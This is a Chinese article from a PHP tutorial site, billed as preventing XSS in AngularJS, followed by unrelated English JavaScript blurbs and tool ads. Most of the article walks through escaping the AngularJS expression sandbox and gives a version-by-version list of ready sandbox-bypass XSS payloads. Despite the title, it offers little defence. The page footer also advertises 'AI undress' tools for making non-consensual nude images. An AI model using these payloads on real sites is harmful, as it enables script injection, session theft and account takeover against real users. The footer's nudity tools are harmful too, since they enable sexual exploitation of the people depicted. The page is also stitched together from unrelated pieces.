这次给大家带来AngularJs如何防止XSS攻击,AngularJs防止XSS攻击的注意事项有哪些,下面就是实战案例,一起来看一下。
概述
XSS攻击是Web攻击中最常见的攻击方法之一,它是通过对网页注入可执行代码且成功地被浏览器执行,达到攻击的目的,形成了一次有效XSS攻击,一旦攻击成功,它可以获取用户的联系人列表,然后向联系人发送虚假诈骗信息,可以删除用户的日志等等,有时候还和其他攻击方式同时实施比如SQL注入攻击服务器和数据库、Click劫持、相对链接劫持等实施钓鱼,它带来的危害是巨大的,是web安全的头号大敌。
前情提要
angularJs通过“{{}}”来作为输出的标志,而对于双括号里面的内容angularJs会计计算并输出结果,我们可以在里面输入JS代码,并且一些语句还能得到执行,这使得我们的XSS有了可能,虽然不能直接写函数表达式,但这并难不住我们的白帽。
沙箱检验
angularJs会对表达式进行重写,并过滤计算输出,比如我们输入
{{1 + 1}}
在JS中会被转换成
"use strict"; var fn = function(s, l, a, i) { return plus(1, 1); }; return fn;
return fn;这里的返回会被angualrJs执行,angularJs改写这个方法后转换是这样的
"use strict"; var fn = function(s, l, a, i) { var v0, v1, v2, v3, v4 = l && ('constructor' in l), v5; if (!(v4)) { if (s) { v3 = s.constructor; } } else { v3 = l.constructor; } ensureSafeObject(v3, text); if (v3 != null) { v2 = ensureSafeObject(v3.constructor, text); } else { v2 = undefined; } if (v2 != null) { ensureSafeFunction(v2, text); v5 = 'alert\u00281\u0029'; ensureSafeObject(v3, text); v1 = ensureSafeObject(v3.constructor(ensureSafeObject('alert\u00281\u0029', text)), text); } else { v1 = undefined; } if (v1 != null) { ensureSafeFunction(v1, text); v0 = ensureSafeObject(v1(), text); } else { v0 = undefined; } return v0; }; return fn;
angularJs会检查每一个输入的参数,ensureSafeObject方法会检验出函数的构造方法,窗口对象,对象,或者对象的构造方法,任意的其中一项被检查出来,表达式都不会执行.angularJs还有ensureSafeMemeberName和ensureSafeFunction来过滤掉方法原型链方法和检查这个指向。
如何逃逸
怎么样能逃过模板的过滤呢,可以让我们输入的模板被角执行,因为angularJs不支持函数输入,我们不可以直接覆盖本地的JS函数。但在字符串对象中找到了漏洞,fromCharCode,则charCode, charAt,由于没有重写这些方法,通过改变本地的js函数,我可以在angularJs调用这些方法的时候为自己开一个后门,将我改写的来覆盖原来的函数。
'a'.constructor.fromCharCode=[].join; 'a'.constructor[0]='\u003ciframe onload=alert(/Backdoored/)\u003e';
formCharCode方法执行的时候内部的this指向的是String对象,通过上面的可指执行语句,我们可以对fromCharCode 函数进行覆盖,当在本页面内执行时,比如:
onload=function(){ document.write(String.fromCharCode(97));//会弹出 /Backdoored/ }
还可以这样
'a'.constructor.prototype.charCodeAt=[].concat
当angularJs调用charCodeAt函数时,我的代码就被执行到angular源码去了,比如说在这段里面有encodeEntities 方法用来对属性和名称做一个过滤然后输出,
if (validAttrs[lkey] === true && (uriAttrs[lkey] !== true || uriValidator(value, isImage))) { out(' '); out(key); out('="'); out(encodeEntities(value));//找的就是encodeEntities out('"'); }
具体的encodeEntities代码如下:
function encodeEntities(value) { return value. replace(/&/g, '&'). replace(SURROGATE_PAIR_REGEXP, function(value) { var hi = value.charCodeAt(0); var low = value.charCodeAt(1); return '' + (((hi - 0xD800) * 0x400) + (low - 0xDC00) + 0x10000) + ';'; }). replace(NON_ALPHANUMERIC_REGEXP, function(value) { return '' + value.charCodeAt(0) + ';';//这里发生了不好事情,我改写了这个方法,可以植入一些恶意代码,并且得到返回输出 }). replace(/, '/g, '>'); }
具体执行
//这是输入代码 {{ 'a'.constructor.prototype.charAt=[].join; $eval('x=""')+'' }} //这是被覆盖影响的代码 "use strict"; var fn = function(s, l, a, i) { var v5, v6 = l && ('x\u003d\u0022\u0022' in l);//被影响的 if (!(v6)) { if (s) { v5 = s.x = "";//被影响的 } } else { v5 = l.x = "";//被影响的 } return v5; }; fn.assign = function(s, v, l) { var v0, v1, v2, v3, v4 = l && ('x\u003d\u0022\u0022' in l);//被影响的 v3 = v4 ? l : s; if (!(v4)) { if (s) { v2 = s.x = "";//被影响的 } } else { v2 = l.x = "";//被影响的 } if (v3 != null) { v1 = v; ensureSafeObject(v3.x = "", text);//被影响的 v0 = v3.x = "" = v1;//被影响的 } return v0; }; return fn;
{{ 'a'.constructor.prototype.charAt=[].join; $eval('x=alert(1)')+'' //注入了alert(1) }} "use strict"; var fn = function(s, l, a, i) { var v5, v6 = l && ('x\u003dalert\u00281\u0029' in l); if (!(v6)) { if (s) { v5 = s.x = alert(1); } } else { v5 = l.x = alert(1); } return v5; }; fn.assign = function(s, v, l) { var v0, v1, v2, v3, v4 = l && ('x\u003dalert\u00281\u0029' in l); v3 = v4 ? l : s; if (!(v4)) { if (s) { v2 = s.x = alert(1); } } else { v2 = l.x = alert(1); } if (v3 != null) { v1 = v; ensureSafeObject(v3.x = alert(1), text); v0 = v3.x = alert(1) = v1; } return v0; }; return fn;
下面附上一些代码,可以直接结合angularJs验证
不同版本的实现代码以及发现者:
1.0.1 - 1.1.5 Mario Heiderich (Cure53)
{{constructor.constructor('alert(1)')()}}
1.2.0 - 1.2.1 Jan Horn (Google)
{{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()}}
1.2.2 - 1.2.5 Gareth Heyes (PortSwigger)
{{'a'[{toString:[].join,length:1,0:'proto'}].charAt=''.valueOf;$eval("x='"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+"'");}}
1.2.6 - 1.2.18 Jan Horn (Google)
{{(_=''.sub).call.call({}[$='constructor'].getOwnPropertyDescriptor(_.proto,$).value,0,'alert(1)')()}}
1.2.19 - 1.2.23 Mathias Karlsson
{{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor);}}
1.2.24 - 1.2.29 Gareth Heyes (PortSwigger)
{{'a'.constructor.prototype.charAt=''.valueOf;$eval("x='\"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+\"'");}}
1.3.0 Gábor Molnár (Google)
{{!ready && (ready = true) && ( !call ? $$watchers[0].get(toString.constructor.prototype) : (a = apply) && (apply = constructor) && (valueOf = call) && (''+''.toString( 'F = Function.prototype;' + 'F.apply = F.a;' + 'delete F.a;' + 'delete F.valueOf;' + 'alert(1);' )) );}}
1.3.1 - 1.3.2 Gareth Heyes (PortSwigger)
{{ {}[{toString:[].join,length:1,0:'proto'}].assign=[].join; 'a'.constructor.prototype.charAt=''.valueOf; $eval('x=alert(1)//'); }}
1.3.3 - 1.3.18 Gareth Heyes (PortSwigger)
{{{}[{toString:[].join,length:1,0:'proto'}].assign=[].join; 'a'.constructor.prototype.charAt=[].join; $eval('x=alert(1)//'); }}
1.3.19 Gareth Heyes (PortSwigger)
{{ 'a'[{toString:false,valueOf:[].join,length:1,0:'proto'}].charAt=[].join; $eval('x=alert(1)//'); }}
1.3.20 Gareth Heyes (PortSwigger)
{{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}}
1.4.0 - 1.4.9 Gareth Heyes (PortSwigger)
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
1.5.0 - 1.5.8 Ian Hickey
{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}
1.5.9 - 1.5.11 Jan Horn (Google)
{{ c=''.sub.call;b=''.sub.bind;a=''.sub.apply; c.$apply=$apply;c.$eval=b;op=$root.$$phase; $root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString; C=c.$apply(c);$root.$$phase=op;$root.$digest=od; B=C(b,c,b);$evalAsync(" astNode=pop();astNode.type='UnaryExpression'; astNode.operator='(window.X?void0:(window.X=true,alert(1)))+'; astNode.argument={type:'Identifier',name:'foo'}; "); m1=B($$asyncQueue.pop().expression,null,$root); m2=B(C,null,m1);[].push.apply=m2;a=''.sub; $eval('a(b.c)');[].push.apply=a; }}
= 1.6.0 Mario Heiderich(Cure53)
{{constructor.constructor('alert(1)')()}}
相信看了本文案例你已经掌握了方法,更多精彩请关注php中文网其它相关文章!
推荐阅读:
The above is the detailed content of How AngularJs prevents XSS attacks. For more information, please follow other related articles on the PHP Chinese website!

The shift from C/C to JavaScript requires adapting to dynamic typing, garbage collection and asynchronous programming. 1) C/C is a statically typed language that requires manual memory management, while JavaScript is dynamically typed and garbage collection is automatically processed. 2) C/C needs to be compiled into machine code, while JavaScript is an interpreted language. 3) JavaScript introduces concepts such as closures, prototype chains and Promise, which enhances flexibility and asynchronous programming capabilities.

Different JavaScript engines have different effects when parsing and executing JavaScript code, because the implementation principles and optimization strategies of each engine differ. 1. Lexical analysis: convert source code into lexical unit. 2. Grammar analysis: Generate an abstract syntax tree. 3. Optimization and compilation: Generate machine code through the JIT compiler. 4. Execute: Run the machine code. V8 engine optimizes through instant compilation and hidden class, SpiderMonkey uses a type inference system, resulting in different performance performance on the same code.

JavaScript's applications in the real world include server-side programming, mobile application development and Internet of Things control: 1. Server-side programming is realized through Node.js, suitable for high concurrent request processing. 2. Mobile application development is carried out through ReactNative and supports cross-platform deployment. 3. Used for IoT device control through Johnny-Five library, suitable for hardware interaction.

I built a functional multi-tenant SaaS application (an EdTech app) with your everyday tech tool and you can do the same. First, what’s a multi-tenant SaaS application? Multi-tenant SaaS applications let you serve multiple customers from a sing

This article demonstrates frontend integration with a backend secured by Permit, building a functional EdTech SaaS application using Next.js. The frontend fetches user permissions to control UI visibility and ensures API requests adhere to role-base

JavaScript is the core language of modern web development and is widely used for its diversity and flexibility. 1) Front-end development: build dynamic web pages and single-page applications through DOM operations and modern frameworks (such as React, Vue.js, Angular). 2) Server-side development: Node.js uses a non-blocking I/O model to handle high concurrency and real-time applications. 3) Mobile and desktop application development: cross-platform development is realized through ReactNative and Electron to improve development efficiency.

The latest trends in JavaScript include the rise of TypeScript, the popularity of modern frameworks and libraries, and the application of WebAssembly. Future prospects cover more powerful type systems, the development of server-side JavaScript, the expansion of artificial intelligence and machine learning, and the potential of IoT and edge computing.

JavaScript is the cornerstone of modern web development, and its main functions include event-driven programming, dynamic content generation and asynchronous programming. 1) Event-driven programming allows web pages to change dynamically according to user operations. 2) Dynamic content generation allows page content to be adjusted according to conditions. 3) Asynchronous programming ensures that the user interface is not blocked. JavaScript is widely used in web interaction, single-page application and server-side development, greatly improving the flexibility of user experience and cross-platform development.


Hot AI Tools

Undresser.AI Undress
AI-powered app for creating realistic nude photos

AI Clothes Remover
Online AI tool for removing clothes from photos.

Undress AI Tool
Undress images for free

Clothoff.io
AI clothes remover

AI Hentai Generator
Generate AI Hentai for free.

Hot Article

Hot Tools

SublimeText3 Mac version
God-level code editing software (SublimeText3)

Safe Exam Browser
Safe Exam Browser is a secure browser environment for taking online exams securely. This software turns any computer into a secure workstation. It controls access to any utility and prevents students from using unauthorized resources.

MantisBT
Mantis is an easy-to-deploy web-based defect tracking tool designed to aid in product defect tracking. It requires PHP, MySQL and a web server. Check out our demo and hosting services.

SecLists
SecLists is the ultimate security tester's companion. It is a collection of various types of lists that are frequently used during security assessments, all in one place. SecLists helps make security testing more efficient and productive by conveniently providing all the lists a security tester might need. List types include usernames, passwords, URLs, fuzzing payloads, sensitive data patterns, web shells, and more. The tester can simply pull this repository onto a new test machine and he will have access to every type of list he needs.

ZendStudio 13.5.1 Mac
Powerful PHP integrated development environment